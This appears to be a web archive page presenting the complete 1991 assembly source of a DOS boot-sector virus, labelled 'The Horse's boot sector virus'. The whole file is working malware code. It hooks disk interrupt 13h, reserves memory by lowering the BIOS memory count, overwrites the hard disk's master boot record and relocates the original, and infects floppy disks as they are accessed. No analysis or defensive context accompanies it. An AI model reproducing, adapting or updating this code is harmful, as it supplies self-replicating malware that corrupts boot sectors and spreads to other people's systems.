home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOOTHORS.ASM < prev    next >
Assembly Source File  |  1991-04-16  |  3KB  |  217 lines

  1. ;
  2. ; The Horse's boot sector virus
  3. ;    This is an author's source
  4. ;
  5.  
  6.  
  7.  
  8.     .radix 16
  9. begin:
  10.     jmp start
  11.  
  12. my    label    word
  13.  
  14.     db    'IBM  3.3'
  15.     dw    200
  16.     db    2
  17.     dw    1
  18.     db    2
  19.     dw    70
  20.     dw    2d0
  21.     db    0fdh
  22.     dw    2
  23.     dw    9
  24.     dw    2
  25.     dw    0
  26.  
  27. lee    label    word
  28.  
  29. virlen    equ    offset endcode-begin
  30.  
  31. start:
  32.     cld
  33.     sub    ax,ax
  34.     mov    ds,ax
  35.     mov    bp,7c00
  36.     cli
  37.     mov    ss,ax
  38.     mov    sp,bp
  39.     sti
  40.     push    ax
  41.     push    bp
  42.     mov    ax,[413]
  43.     push    [13*4+2]
  44.     push    [13*4]
  45.     pop    word ptr [old13h+7c00-100]
  46.     pop    word ptr [old13h+7c00-100+2]
  47.     dec    ax
  48.     mov    [413],ax
  49.     mov    cl,6
  50.     shl    ax,cl
  51.     mov    es,ax
  52.  
  53.     mov    [13*4],offset int13h-100
  54.     mov    [13*4+2],es
  55.  
  56.     mov    cx,virlen
  57.     sub    di,di
  58.     mov    si,bp
  59.     rep    movsb
  60.     push    es
  61.     mov    ax,offset here-begin
  62.     push    ax
  63.     retf
  64. here:
  65.     sub    ax,ax
  66.     mov    es,ax
  67.     int    13
  68.     mov    ax,0201
  69.     mov    bx,bp
  70.     cmp    byte ptr cs:[ident-100],0fdh
  71.     je    from_disk
  72.     mov    cx,0007
  73.     mov    dx,0080
  74.     int    13
  75.     jmp    exit
  76.  
  77. from_disk:
  78.  
  79.     mov    cx,2709
  80.     mov    dx,0100
  81.     int    13
  82.     jc    exit
  83.     push    cs
  84.     push    cs
  85.     pop    es
  86.     pop    ds
  87.     mov    ax,0201
  88.     mov    bx,0200
  89.     mov    cx,0001
  90.     mov    dx,0080
  91.     int    13
  92.     jc    exit
  93.     call    inf?
  94.     je    exit
  95.     mov    byte ptr [ident-100],0f8
  96.     mov    ax,0301
  97.     mov    bx,0200
  98.     mov    cx,0007
  99.     mov    dx,0080
  100.     int    13
  101.     jc    exit
  102.     call    move
  103.     mov    ax,0301
  104.     sub    bx,bx
  105.     mov    cx,0001
  106.     int    13
  107. exit:
  108.     mov    byte ptr cs:[ident-100],0fdh
  109.     retf
  110. int13h:
  111.     push    ds
  112.     push    ax
  113.     cmp    dl,1
  114.     ja    skip
  115.     cmp    ah,2
  116.     jb    skip
  117.     cmp    ah,3
  118.     ja    skip
  119.     sub    ax,ax
  120.     mov    ds,ax
  121.     mov    al,[43f]
  122.     push    dx
  123.     and    ax,3
  124.     and    dx,3
  125.     inc    dl
  126.     test    al,dl
  127.     pop    dx
  128.     jne    skip
  129.     call    infect
  130. skip:
  131.     pop    ax
  132.     pop    ds
  133. do:
  134.     jmp    dword ptr cs:[old13h-100]
  135.  
  136. infected?:
  137.  
  138.     sub    ax,ax
  139.     call    ojoj
  140.     mov    ax,0201
  141.     mov    bx,0200
  142.     mov    cx,0001
  143.     sub    dh,dh
  144.     call    ojoj
  145. inf?:
  146.     mov    si,offset start-100
  147.     mov    di,offset start-100+200
  148.     mov    cx,mbyte-start
  149.     rep    cmpsb
  150. return:
  151.     ret
  152. infect:
  153.     push    bx
  154.     push    cx
  155.     push    dx
  156.     push    si
  157.     push    di
  158.     push    es
  159.     push    cs
  160.     push    cs
  161.     pop    es
  162.     pop    ds
  163.     cld
  164.     call    infected?
  165.     je    leave
  166.     mov    ax,0301
  167.     mov    bx,0200
  168.     mov    cx,2709
  169.     mov    dh,1
  170.     call    ojoj
  171.     jc    leave
  172.     call    move
  173.     mov    ax,0301
  174.     sub    bx,bx
  175.     mov    cx,0001
  176.     sub    dh,dh
  177.     call    ojoj
  178. leave:
  179.     pop    es
  180.     pop    di
  181.     pop    si
  182.     pop    dx
  183.     pop    cx
  184.     pop    bx
  185.     ret
  186.  
  187. ojoj:
  188.     pushf
  189.     push    cs
  190.     call    do
  191.     ret
  192. move:
  193.     mov    di,offset my-100
  194.     mov    si,offset my-100+200
  195.     mov    cx,lee-my
  196.     rep    movsb
  197.     mov    di,offset usm-100
  198.     mov    si,offset usm-100+200
  199.     mov    cx,endcode-usm
  200.     rep    movsb
  201.     ret
  202.  
  203.  
  204. mbyte     label word
  205.  
  206. old13h        dd    ?
  207. ident        db    0fdh
  208.  
  209. usm    label    word
  210.  
  211. db    135d    dup (?)
  212.  
  213. db    55,0AA
  214.  
  215. endcode label word
  216.  
  217.